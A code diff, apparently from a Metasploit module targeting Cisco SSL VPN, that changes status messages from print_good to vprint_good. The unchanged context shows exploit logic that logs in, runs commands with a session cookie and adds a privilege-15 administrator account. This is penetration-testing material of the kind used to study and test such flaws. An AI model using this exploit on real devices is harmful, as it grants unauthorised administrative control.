@@ -56,7 +56,7 @@ def validate_cisco_ssl_vpn
5656 'method' => 'GET'
5757 )
5858
59- print_good "#{ peer } - Server is responsive"
59+ vprint_good "#{ peer } - Server is responsive"
6060 rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout , ::Rex ::ConnectionError , ::Errno ::EPIPE
6161 return false
6262 end
@@ -94,7 +94,7 @@ def do_logout(cookie)
9494
9595 if res &&
9696 res . code == 200
97- print_good "#{ peer } - Logged out"
97+ vprint_good "#{ peer } - Logged out"
9898 end
9999 end
100100
@@ -125,7 +125,7 @@ def do_show_version(cookie, tries = 3)
125125 return resp . body
126126 else
127127 vprint_error "#{ peer } - Unable to run '#{ command } '"
128- print_good "#{ peer } - Retrying #{ i } '#{ command } '" unless i == 2
128+ vprint_good "#{ peer } - Retrying #{ i } '#{ command } '" unless i == 2
129129 end
130130 end
131131
@@ -137,18 +137,18 @@ def add_user(cookie, tries = 3)
137137 password = random_password
138138
139139 tries . times do |i |
140- print_good "#{ peer } - Attemping to add User: #{ username } , Pass: #{ password } "
140+ vprint_good "#{ peer } - Attemping to add User: #{ username } , Pass: #{ password } "
141141 command = "username #{ username } password #{ password } privilege 15"
142142 resp = run_command ( command , cookie )
143143
144144 if resp &&
145145 !resp . body . include? ( 'Command authorization failed' ) &&
146146 !resp . body . include? ( 'Command failed' )
147- print_good "#{ peer } - Privilege Escalation Appeared Successful"
147+ vprint_good "#{ peer } - Privilege Escalation Appeared Successful"
148148 return [ username , password ]
149149 else
150150 vprint_error "#{ peer } - Unable to run '#{ command } '"
151- print_good "#{ peer } - Retrying #{ i } '#{ command } '" unless i == tries - 1
151+ vprint_good "#{ peer } - Retrying #{ i } '#{ command } '" unless i == tries - 1
152152 end
153153 end
154154
@@ -200,7 +200,7 @@ def do_login(user, pass, group)
200200 resp . body . include? ( 'SSL VPN Service' ) &&
201201 resp . body . include? ( 'webvpn_logout' )
202202
203- print_good "#{ peer } - Logged in with User: #{ datastore [ 'USERNAME' ] } , Pass: #{ datastore [ 'PASSWORD' ] } and Group: #{ datastore [ 'GROUP' ] } "
203+ vprint_good "#{ peer } - Logged in with User: #{ datastore [ 'USERNAME' ] } , Pass: #{ datastore [ 'PASSWORD' ] } and Group: #{ datastore [ 'GROUP' ] } "
204204 return resp . get_cookies
205205 else
206206 return false
@@ -222,7 +222,7 @@ def run_host(ip)
222222 # interimittent based on session, so we'll just retry
223223 # 'X' times.
224224 datastore [ 'RETRIES' ] . times do |i |
225- print_good "#{ peer } - Exploit Attempt ##{ i } "
225+ vprint_good "#{ peer } - Exploit Attempt ##{ i } "
226226
227227 # Authenticate to SSL VPN and get session cookie
228228 cookie = do_login (
0 commit comments